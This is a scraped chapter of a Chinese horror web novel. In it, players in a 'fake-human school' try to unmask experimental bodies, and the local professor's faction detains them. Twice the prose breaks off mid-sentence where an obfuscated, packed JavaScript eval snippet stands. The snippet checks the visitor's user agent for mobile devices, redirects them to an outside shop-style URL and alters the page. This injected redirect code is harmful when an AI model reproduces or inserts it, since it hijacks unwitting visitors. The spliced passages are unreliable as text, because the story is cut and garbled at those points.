“尸体”的脖子被子弹洞穿一个血窟窿,它的嘴唇一张一合,仿佛一条刚上岸的鱼,正在努力呼吸。 很快,房间里出现一扇白色的门,鸟嘴面具从里面走出来。 和上次一样,他是来回收实验体的,不过这次他主动和他们攀谈起来。 “不错,不错,你们的行动力果然比别的人好。”鸟嘴面具看向被吓傻的徐清月,柔声安慰道,“徐清月,别害怕,你做得很好,我为你感到高兴!” 翟烬心中一凛,顿时警觉起来,鸟嘴面具居然认识徐清月? 而且听语气两人关系还不错? 徐清月也面露诧异,想趁机问鸟嘴面具更多的问题,但又担心他会突然不高兴,惩罚他们。 翟烬默不作声从衣兜里拿出玩具手枪,她觉得现在是威胁鸟嘴面具的最佳时机,红色怪物太大了,无法进入宿舍,对他们暂时构不成威胁。 可就在这时,一只温暖的手紧紧握住她拿枪的那只手,似是要阻止她接下来的行动。 翟烬侧目看向蒋越川,他的目光直视前方,眼中透着警惕。 翟烬顺着他的目光望向窗户,然后看到惊心怵目的一幕。 那是一颗占据窗户二分之一的巨大红色头颅,它那双血红色眼睛,正向室内静静地观察着,那副眼神让翟烬联想到小学科学课上一起观察蚕的同学。 好奇、专注,同时还有一丝想要把蚕拿起来把玩的冲动。 如今他们就是盒子里的“蚕”。 如果翟烬这个时候挟持鸟嘴面具,红色怪物也许会从窗户将手伸进来,把人拿在手中“把玩”。 鸟嘴面具最终消失在白色的门后,红色怪物确认他离开后,也隐于外面的夜色中。 “我不认识那个面具人!我也不知道他为什么要和我那样说话。”徐清月仿佛才回过神,立刻解释起来。 “那你一个人躲在这个房间做什么?”陆凌冰冷的声音出现在门口,他什么时候来的,没人知道。 蒋越川松开翟烬的手,漫不经心打量所有人,安安静静吃瓜。 “我在写小说!我、我……不信你们看。” 徐清月飞快打开桌上的笔记本电脑,为了证明自己的无辜,她不得不给他们展示文件。 名称:《和邪神在无限流里狠狠爱》 修改时间:2026-7-2916:23 修改时间正好是7分钟之前。 “现在能排除我的嫌疑了吧?”徐清月很快合上笔记本电脑,撅起嘴巴,一脸委屈。 连翟烬都有点无语,都什么时候了,徐清月居然一个人躲着写小说,真是病得不轻。 “徐姐,以后不要一个人码字,这很危险——走,我们过去一起商量接下来的行动,争取早点离开这里。”翟烬扫了一眼其他人,“我有办法尽快找到藏在人群中的实验体。” 于是一行人回到刚才吃饭的房间。 翟烬言简意赅:“我们要想办法把所有人召集起来,然后检查他们的牙齿,一般人的牙齿不可能完全对称,刚刚我观察了徐姐捕捉的实验体,它的牙齿十分整齐,完全对称。” “哇,你观察得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127253|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好仔细。”徐清月向翟烬投去钦佩的眼神。 翟烬继续说:“问题是我们没有号召力,所以要找人帮忙,刚刚我问了邢明明,学校比较能说上话的是马教授,我们几个现在就去找马教授,问他愿不愿意合作。” 话音刚落,楼下突然出现响亮的口哨声。 邢明明很快和众人解释:“这是马教授叫我们去行政楼集合的意思。” 这不正好吗? 众人赶快拿上玩具手枪和背包迅速下楼,邢明明跟在最后面,他神情平静,步伐从容不迫,似乎一点儿也不慌。 翟烬回身看了他一眼,然后蹙了蹙眉。 她怎么总觉得邢明明有点不对劲。 虽然他不是伪人,却比伪人还要伪人,总是一副生无可恋、看淡生死的模样。 他们开着手机照明,跟随人群走到行政楼楼下,翟烬环顾四周,在人潮中看到周家姐妹。 周晓童找了个轮椅,把周晓琪放上面,然后推着她在人群中艰难前行。 她们两姐妹都很瘦,长相也十分相似,不过一个长发穿裙子,一个短发打扮比较休闲。 蒋越川默默看着她们,语气里透着几分玩味:“她们两个感情真好,姐姐去哪里都把妹妹带着,这种时候不离不弃,很少有人能做到。” 翟烬瞥了周家姐妹一眼,蒋越川说的没错,如果是她,肯定会把昏迷不醒的人留在某个地方藏起来。 随时随地带着,只会拖后腿。 刚刚用口哨把他们叫下来的是个胖男生,他的脸红彤彤的,额角有个深蓝色胎记,脖子上挂着个银色口哨,正一脸严肃地望向众人。 “他是马教授的侄儿,叫马睿。”邢明明盯着胖男生介绍。 “人都到齐了吗?我要开始点名了!”马睿声音洪亮,一下子将所有人的注意力集中到他一个人身上。 不知道为什么,翟烬看到马睿的第一眼就不太喜欢,有种生理性厌恶。 翟烬眉头深锁望向天空,她承认她是颜控,但也不至于这么以貌取人吧。 “6、7、8……”马睿开始数数,数过的人,被他推到一边站着,就像可以挪动的物品。 数到翟烬他们时,他在他们脸上刻意停留了许久:“78、79、80……你们是今天新来的吧?” 邢明明抢声回答:“嗯,他们虽然是新来的,但今天已经抓捕了两个实验体。” 马睿瞳孔缩了缩,当场愣住。 徐清月抬起下巴,得意洋洋:“嗯,还剩两个,我们就可以完成任务,离开这里了。” 马睿上下打量徐清月,扯出一个怪笑:“哇,你还挺厉害的。”然后他绕开他们,去数剩下的人。 徐清月悻悻地和翟烬吐槽:“我怎么觉得他在讽刺我?” …… 数人接近尾声的时候,一个戴着圆形镜片的中年男人和一个瘦高女生同时出现在行政楼门口。 邢明明又和众人介绍:“那是马教授和学生会会长俞荟荟。” 马教授手里拿着一个教学用的扩音器,他走到人群中间,清了清嗓子,然后拿起扩音器:“各位,今天把你们叫来,主要是想测量一下你们的手臂,看长度是不是一致。” 16. 伪人学校-陷阱 等马教授说完,翟烬他们便第一时间去找他。 翟烬走到他面前,态度礼貌而谦和:“你好马教授,刚刚你说的办法很好,但检查牙齿是否对称会不会更快一些呢?” 检查牙齿是一目了然的事儿,省去了测量的步骤。 马程野扶了扶眼镜,语气平铺直叙:“那戴假牙的人怎么办?你这个方法不准确。” 翟烬微微一笑,补充:“先找到牙齿有问题的人,再对他们进行别的系统检查。” 马程野旁边的俞荟荟横了他们一眼,语气不屑一顾:“谁让你们提建议了,你们是学校的领导吗?” 马程野目光直视前方,也一副爱答不理的样子。 翟烬了然,原来马教授在扮演独裁者的角色,而俞荟荟是他的马仔,这帮人简直没办法沟通,也没办法合作。 翟烬露出若无其事的笑容,转身对其他人说:“我们走吧,别在这儿浪费时间了。” “手臂量了才能走——”马睿的声音忽然插进来,还装腔作势地拉长尾音。 翟烬懒得搭理他,推开人群刚要离开,忽然听到一声惊呼:“他们刚刚用枪杀了我们一起练舞的朋友!他们是杀人犯!不能让他们走!” 翟烬扭头一看,原来是几个小时前在后山碰到的大妈。 当时,他们对实验体开枪以后,这帮阿姨一溜烟全逃命去了,自然不知道后来鸟嘴面具回收实验体的事。 与此同时,几乎所有人的目光都朝他们看来,眼神中透着警惕。 王国平见情况不对,笑嘻嘻解释:“误会!误会!我们没有杀人,那是实验体。” 见有人反驳,大妈抬高音量,带着劫后余生的恐惧,声音微微颤抖:“那人我早就认识,怎么可能是实验体呢?我们几个经常一起练舞,难道她从一开始就是实验体?” 他们周边的人越围越多,甚至有人还下意识掏出手枪,虽然没将枪口对准他们,却是一脸防备。 马程野冷眼旁观了一会儿,神情变得异常严肃:“大家先别慌,也不要随意开枪,我们会把他们单独带到行政楼进行检查。” 听后,徐清月气不打一处来,叉着腰瞪向马教授:“你凭什么单独调查我们?我们又不是犯人!都说了那是实验体!” 邢明明赶快拉了拉徐清月的胳膊,疯狂摇头示意,下一秒,人群中窜出来几个高个男生,他们每个人都拿着枪指着他们。 马睿在一旁也拿着枪,以公事公办的口吻:“配合一下,很快就检查完了。” “他们是好人!今天才帮了我和妹妹一把。”周晓童推着周晓琪从人群中走出来,情绪十分激动,“你们这是在冤枉好人!” 马睿瞟了眼周晓童,脸上浮出冷笑:“既然帮他们说话,那你也和他们一起接受检查吧!” 马程野不置可否,只冷冷地观察所有人。 迫于对面的人更多,翟烬一行人只有硬着头皮走进行政楼,马睿给他们带队,这时他却放缓了语气,低声安慰:“各位不用担心,只要你们没问题,我们量完手臂长短,就放你们走。” 他把他们带到一间大会议室,这里有发电机,四周都有灯光照明,而且除了他们,还有其他人也在这里。 翟烬粗略算了下,加上他们,一共有三十个人。 马睿笑着介绍:“这些人和你们一样有重大嫌疑,我们要一个个排除你们,你们稍等一下,我们先要把外面的人检查了。” 临走之前,马睿还让人收走了他们每个人的手枪,说是为了防止他们互相攻击。 “切,有点权力就把自己当人上人了?”周晓童恶狠狠盯着马睿的背影,一脸不屑。 翟烬侧目看向一旁的周晓童和轮椅上的周晓琪,若有所思关心道:“你妹妹还没清醒吗?” 周晓童面露哀伤,垂下眼帘:“没醒,一直没醒,我也不知道她到底怎么了,说真的我都不敢检查她的身体状况,她要是有个三长两短,我都没办法和爸妈交代。” 翟烬蹲在昏迷的周晓琪面前,沉默不语地观察她,见她还在呼吸,也松了口气。 “没关系,我们只要尽快找出……”翟烬起身的时候发现周晓童的脸还是跟第一次见面时那样脏兮兮的。 她的脸十分光滑,只是沾了不少泥巴,显得有些邋遢和憔悴。 翟烬收回眼神,拧了拧保温杯的盖子,刚才都只顾上吃,没怎么喝水,她现在想去接点水喝。 蒋越川一直在观察她,见她四处看来看去,试探着关心道:“你是不是口渴了?我知道哪里有水,把水杯给我,我帮你去接。”说着,他从双肩包里取出一个空空的塑料水杯,“我正好也要接水。” 蒋越川目光灼灼,笑起来时脸上会浮出浅浅的酒窝,让人不自觉卸下防备。 鉴于蒋越川的男菩萨属性,翟烬也没多想,把自己的保温杯递给他,“谢谢。” 蒋越川将翟烬的保温杯握在手里,她的保温杯是十分老式的玻璃杯,褐色的盖子还有些褪色,一看就用了很久。 蒋越川拿着翟烬的保温杯来到大会议室门口,旁边就是茶水间,有几个学生模样的人拿着手枪站在过道上,见蒋越川出来,他们纷纷将目光聚在他身上。 蒋越川装作没看见,转身来到茶水间,刚拧开翟烬的保温杯盖子,忽然感到身后来了人。 “你接近她有什么目的?” 是陆凌,他站在阴影中,眼睛一眨不眨盯着蒋越川的背影,像在盯一个十恶不赦的犯人。 蒋越川将保温杯对准下面的出水口,漫不经心打开饮水器,明知故问:“你在说谁?” 陆凌沉默。 蒋越川接完水,将杯盖拧紧,而后又听陆凌缓缓开口:“你和我上次看到的‘绿眼睛’身形很相似,你就是他,对吧?” 蒋越川背对他露出苦笑,陆凌还是那个陆凌,观察力极强,什么都逃不过他的眼睛。 “我怎么可能是绿眼睛,我的眼睛什么颜色你看不出来?”蒋越川转过身,语气里带着一丝轻蔑。 陆凌眯着眼睛打量他,脸上没有任何表情:“告诉你一件事,其实在后山的时候,我本来是想对你开枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127254|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,只是稍微射偏了点,最后坏心办好事了。” 蒋越川回忆了一下当时的场景,他和那个实验体,的确在一条直线上。 蒋越川哭笑不得,陆凌真是一点儿没变,做事随心所欲,不计后果。 不过,就算他对他开枪,他也没法打穿他。 陆凌再怎么咄咄逼人,蒋越川也丝毫不恼,笑容依旧不变,这副样子在陆凌看来,实在欠揍。 “说,你接近翟烬到底有什么目的?”陆凌眸光一冷,语气加重。 蒋越川微微勾唇,疯狂踩在陆凌的雷区上:“和你一样的目的。” 陆凌的脸色一阵青一阵白,表情阴得吓人:“你之前也认识翟烬?” 蒋越川笑而不语,他不仅认识,她还是他的爸爸。 “你们两个接完水就赶快回去!不要在此处逗留!”门口出现几个带枪的男生,正一脸看戏地打量他们。 两人不得不中止谈话,陆凌转身就走,和蒋越川拉开距离。 回到大会议室,翟烬接过保温杯后猛喝了几口水,恰在此时,马睿和一些高个男生拿着软尺走进来。 “你们都过来,我们要开始量你们的手臂长短了。”马睿朝所有人招手,装模作样的表情,让翟烬厌恶感倍增。 不止翟烬讨厌他,就连徐清月也忍不住和她吐槽:“你看到没有,那个姓马的还贴了双眼皮,我还以为像他这种油腻男连脸都不会洗呢,没想到还挺爱美的。” “他贴了双眼皮?”翟烬开始冷静思考。 一个拿着软尺的男生走到翟烬面前,让她张开手臂好测量长度,翟烬照做,发动机运转的声音骤然消失,灯光同一时间熄灭。 四周漆黑得什么都看不见,不少人陷入恐慌之中。 “咦,怎么回事?” “刚刚都还好好的,怎么突然歇火了?” “谁摸了我的脸?” “救命——” 一声惨叫,让更多的人像无头苍蝇一样四处逃窜,他们有的惊慌失措拿出手机试图打开照明,但由于太紧张,手机摔在地上好几次。 有的抱着头,蹲在原地开始祷告。 有的吓得瘫软在地,什么都做不了。 …… 翟烬则是集中注意力将目光投向马睿刚刚站的地方,那里有个肥胖的人影立在黑暗中,纹丝不动。 在这死寂之中,一声脆响骤然响起——“咔。” 那是牙齿嵌入骨中,将其咬碎的啃食声,声音的来源离他们很远,离刚刚的惨叫声很近。 因为手中没有武器,没人敢往那个方向一探究竟,倒是刚才趾高气昂要测量他们手臂长短的男生们,个个退到会议室门口,像是要溜之大吉。 这时,有个人挡在翟烬身前,他身形高大,背脊如松,虽然翟烬不知道他是谁,但却下意识认为那人是蒋越川。 她碰了碰那人的肩膀,带着疑惑,小声问道:“蒋越川你挡我前面做什么?” 蒋越川站在翟烬身侧,幸灾乐祸看着这一幕,嘴边漾起一抹无声的冷笑。